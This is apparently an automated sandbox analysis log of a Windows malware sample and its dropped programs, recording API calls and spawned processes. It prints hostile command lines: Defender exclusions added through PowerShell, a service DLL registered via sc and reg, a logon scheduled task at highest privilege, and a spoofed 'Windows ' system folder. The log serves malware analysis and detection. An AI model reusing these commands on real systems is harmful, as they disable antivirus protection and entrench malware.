Code function: 3_2_00007FF646E5B800 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

3_2_00007FF646E5B800

Source: C:\Windows\System32\svchost.exe

53_2_00007FFDA55BB470

Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe

Code function: 3_2_00007FF646E71350 GetProcessHeap,

3_2_00007FF646E71350

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Code function: 3_2_00007FF646E5B800 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00007FF646E5B800
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Code function: 3_2_00007FF646E5B440 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00007FF646E5B440
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Code function: 3_2_00007FF646E5B9E0 SetUnhandledExceptionFilter,	3_2_00007FF646E5B9E0
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Code function: 3_2_00007FF646E6213C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00007FF646E6213C
Source: C:\Windows \System32\printui.exe	Code function: 40_2_00007FF68C621880 SetUnhandledExceptionFilter,	40_2_00007FF68C621880
Source: C:\Windows \System32\printui.exe	Code function: 40_2_00007FF68C621B5C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	40_2_00007FF68C621B5C
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_64947650 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	53_2_64947650
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_6828C940 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,abort,	53_2_6828C940
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFD942D9508 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	53_2_00007FFD942D9508
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFD942CB3B0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	53_2_00007FFD942CB3B0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33AEE70 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	53_2_00007FFDA33AEE70
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33AFA50 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	53_2_00007FFDA33AFA50
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3797178 SetUnhandledExceptionFilter,	53_2_00007FFDA3797178
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3796F94 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	53_2_00007FFDA3796F94
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3796630 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	53_2_00007FFDA3796630
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA553D768 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	53_2_00007FFDA553D768
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA553E24C IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	53_2_00007FFDA553E24C
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA55D57A0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	53_2_00007FFDA55D57A0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA55D6224 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	53_2_00007FFDA55D6224
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FF6F8C71AB4 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	59_2_00007FF6F8C71AB4
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FF6F8C71C94 SetUnhandledExceptionFilter,	59_2_00007FF6F8C71C94
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FF6F8C786CC RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	59_2_00007FF6F8C786CC
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FF6F8C71800 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	59_2_00007FF6F8C71800
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA55D57A0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	59_2_00007FFDA55D57A0
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA55D6224 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	59_2_00007FFDA55D6224
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D354D3AC SetUnhandledExceptionFilter,	84_2_00007FF6D354D3AC
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D354D1CC IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	84_2_00007FF6D354D1CC
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D355A8A8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	84_2_00007FF6D355A8A8
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D354CE30 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	84_2_00007FF6D354CE30
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA94CE30 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	87_2_00007FF6EA94CE30
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA94D3AC SetUnhandledExceptionFilter,	87_2_00007FF6EA94D3AC
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA94D1CC IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	87_2_00007FF6EA94D1CC
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA95A8A8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	87_2_00007FF6EA95A8A8

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop'"
Source: C:\Users\user\Desktop\pyld64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\usvcinsta64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\usvcinsta64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'"
Source: C:\Users\user\Desktop\pyld64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath '%SystemDrive%\Windows \System32'; Add-MpPreference -ExclusionPath '%SystemDrive%\Windows\System32';"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'; Add-MpPreference -ExclusionPath 'C:\Windows\System32';"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32'
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'E:\'
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'E:\'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'F:\'
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop'"	Jump to behavior
Source: C:\Users\user\Desktop\pyld64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"	Jump to behavior
Source: C:\Windows\System32\usvcinsta64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"	Jump to behavior
Source: C:\Windows\System32\usvcinsta64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'"
Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath '%SystemDrive%\Windows \System32'; Add-MpPreference -ExclusionPath '%SystemDrive%\Windows\System32';"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'; Add-MpPreference -ExclusionPath 'C:\Windows\System32';"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32'
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'E:\'
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'F:\'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'E:\'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'F:\'

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\pyld64.exe "C:\Users\user\Desktop\pyld64.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\usvcinsta64.exe "C:\Windows\System32\usvcinsta64.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows \System32\printui.exe "C:\Windows \System32\printui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'; Add-MpPreference -ExclusionPath 'C:\Windows\System32';"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc create x543664 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add HKLM\SYSTEM\CurrentControlSet\services\x543664\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x543664.dat" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start x543664
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\console_zero.exe "C:\Windows\System32\console_zero.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /delete /tn "console_zero" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'E:\'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /delete /tn "console_zero" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'F:\'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\crypti.exe "c:\windows\system32\crypti.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\crypti.exe "c:\windows\system32\crypti.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\crypti.exe "c:\windows\system32\crypti.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\crypti.exe "c:\windows\system32\crypti.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\crypti.exe "c:\windows\system32\crypti.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\crypti.exe "c:\windows\system32\crypti.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\crypti.exe "c:\windows\system32\crypti.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\crypti.exe "c:\windows\system32\crypti.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\crypti.exe "c:\windows\system32\crypti.exe"

Source: C:\Users\user\Desktop\pyld64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c sc create x543664 binpath= "c:\windows\system32\svchost.exe -k dcomlaunch" type= own start= auto && reg add hklm\system\currentcontrolset\services\x543664\parameters /v servicedll /t reg_expand_sz /d "c:\windows\system32\x543664.dat" /f && sc start x543664
Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c sc create x543664 binpath= "c:\windows\system32\svchost.exe -k dcomlaunch" type= own start= auto && reg add hklm\system\currentcontrolset\services\x543664\parameters /v servicedll /t reg_expand_sz /d "c:\windows\system32\x543664.dat" /f && sc start x543664

Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe

Code function: 3_2_00007FF646E57820 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,GetModuleFileNameW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

3_2_00007FF646E57820

Source: crypti.exe, 0000006C.00000002.3330121598.0000018C10B2A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Program ManagerPPDA

Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe

Code function: 3_2_00007FF646E73080 cpuid

3_2_00007FF646E73080

Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Code function: EnumSystemLocalesW,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	3_2_00007FF646E71010
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Code function: GetLocaleInfoW,	3_2_00007FF646E69004
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Code function: EnumSystemLocalesW,	3_2_00007FF646E70914
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	3_2_00007FF646E70E18
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Code function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW,	3_2_00007FF646E705B0
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Code function: GetLocaleInfoW,	3_2_00007FF646E70ECC
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Code function: GetLocaleInfoEx,FormatMessageA,	3_2_00007FF646E59694
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Code function: GetLocaleInfoW,	3_2_00007FF646E70CC0
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Code function: EnumSystemLocalesW,	3_2_00007FF646E68C90
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Code function: EnumSystemLocalesW,	3_2_00007FF646E709E4
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	3_2_00007FF646E70A7C
Source: C:\Windows\System32\svchost.exe	Code function: strtoul,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,strncmp,	53_2_682864E0
Source: C:\Windows\System32\svchost.exe	Code function: strchr,pthread_mutex_lock,strcmp,strncpy,EnumSystemLocalesA,pthread_mutex_unlock,strcpy,pthread_mutex_unlock,abort,	53_2_68287D70
Source: C:\Windows\System32\svchost.exe	Code function: getenv,GetLocaleInfoA,	53_2_68286680
Source: C:\Windows\System32\svchost.exe	Code function: memset,MultiByteToWideChar,GetLocaleInfoEx,malloc,malloc,strspn,	53_2_00007FFDA3794B70
Source: C:\Windows\System32\console_zero.exe	Code function: AreFileApisANSI,EnumSystemLocalesEx,GetDateFormatEx,GetLocaleInfoEx,GetTimeFormatEx,GetUserDefaultLocaleName,IsValidLocaleName,LCMapStringEx,LCIDToLocaleName,LocaleNameToLCID,	59_2_00007FF6F8C7F978
Source: C:\Windows\System32\console_zero.exe	Code function: EnumSystemLocalesW,	59_2_00007FF6F8C871C8
Source: C:\Windows\System32\console_zero.exe	Code function: EnumSystemLocalesW,	59_2_00007FF6F8C7F29C
Source: C:\Windows\System32\console_zero.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	59_2_00007FF6F8C87260
Source: C:\Windows\System32\console_zero.exe	Code function: GetLocaleInfoEx,FormatMessageA,	59_2_00007FF6F8C6FBA8
Source: C:\Windows\System32\console_zero.exe	Code function: GetLocaleInfoW,	59_2_00007FF6F8C874A4
Source: C:\Windows\System32\console_zero.exe	Code function: GetLocaleInfoEx,GetLocaleInfoW,	59_2_00007FF6F8C7F610
Source: C:\Windows\System32\console_zero.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	59_2_00007FF6F8C875FC
Source: C:\Windows\System32\console_zero.exe	Code function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW,	59_2_00007FF6F8C86D94
Source: C:\Windows\System32\console_zero.exe	Code function: EnumSystemLocalesEx,	59_2_00007FF6F8C7F540
Source: C:\Windows\System32\console_zero.exe	Code function: GetLocaleInfoW,	59_2_00007FF6F8C876B0
Source: C:\Windows\System32\console_zero.exe	Code function: EnumSystemLocalesW,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	59_2_00007FF6F8C877F4
Source: C:\Windows\System32\console_zero.exe	Code function: EnumSystemLocalesW,	59_2_00007FF6F8C870F8
Source: C:\Windows\System32\crypti.exe	Code function: AreFileApisANSI,EnumSystemLocalesEx,GetDateFormatEx,GetLocaleInfoEx,GetTimeFormatEx,GetUserDefaultLocaleName,IsValidLocaleName,LCMapStringEx,LCIDToLocaleName,LocaleNameToLCID,	84_2_00007FF6D356869C
Source: C:\Windows\System32\crypti.exe	Code function: EnumSystemLocalesEx,	84_2_00007FF6D3568264
Source: C:\Windows\System32\crypti.exe	Code function: GetLocaleInfoEx,GetLocaleInfoW,	84_2_00007FF6D3568334
Source: C:\Windows\System32\crypti.exe	Code function: EnumSystemLocalesW,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	84_2_00007FF6D3571308
Source: C:\Windows\System32\crypti.exe	Code function: GetLocaleInfoW,	84_2_00007FF6D35711C4
Source: C:\Windows\System32\crypti.exe	Code function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW,	84_2_00007FF6D35708A8
Source: C:\Windows\System32\crypti.exe	Code function: EnumSystemLocalesW,	84_2_00007FF6D3570CDC
Source: C:\Windows\System32\crypti.exe	Code function: EnumSystemLocalesW,	84_2_00007FF6D3570C0C
Source: C:\Windows\System32\crypti.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	84_2_00007FF6D3571110
Source: C:\Windows\System32\crypti.exe	Code function: GetLocaleInfoW,	84_2_00007FF6D3570FB8
Source: C:\Windows\System32\crypti.exe	Code function: EnumSystemLocalesW,	84_2_00007FF6D3567FC0
Source: C:\Windows\System32\crypti.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	84_2_00007FF6D3570D74
Source: C:\Windows\System32\crypti.exe	Code function: AreFileApisANSI,EnumSystemLocalesEx,GetDateFormatEx,GetLocaleInfoEx,GetTimeFormatEx,GetUserDefaultLocaleName,IsValidLocaleName,LCMapStringEx,LCIDToLocaleName,LocaleNameToLCID,	87_2_00007FF6EA96869C
Source: C:\Windows\System32\crypti.exe	Code function: EnumSystemLocalesW,	87_2_00007FF6EA970C0C
Source: C:\Windows\System32\crypti.exe	Code function: EnumSystemLocalesW,	87_2_00007FF6EA970CDC
Source: C:\Windows\System32\crypti.exe	Code function: GetLocaleInfoW,	87_2_00007FF6EA970FB8
Source: C:\Windows\System32\crypti.exe	Code function: EnumSystemLocalesW,	87_2_00007FF6EA967FC0
Source: C:\Windows\System32\crypti.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	87_2_00007FF6EA971110
Source: C:\Windows\System32\crypti.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	87_2_00007FF6EA970D74
Source: C:\Windows\System32\crypti.exe	Code function: GetLocaleInfoW,	87_2_00007FF6EA9711C4
Source: C:\Windows\System32\crypti.exe	Code function: GetLocaleInfoEx,GetLocaleInfoW,	87_2_00007FF6EA968334
Source: C:\Windows\System32\crypti.exe	Code function: EnumSystemLocalesW,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	87_2_00007FF6EA971308
Source: C:\Windows\System32\crypti.exe	Code function: EnumSystemLocalesEx,	87_2_00007FF6EA968264
Source: C:\Windows\System32\crypti.exe	Code function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW,	87_2_00007FF6EA9708A8

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
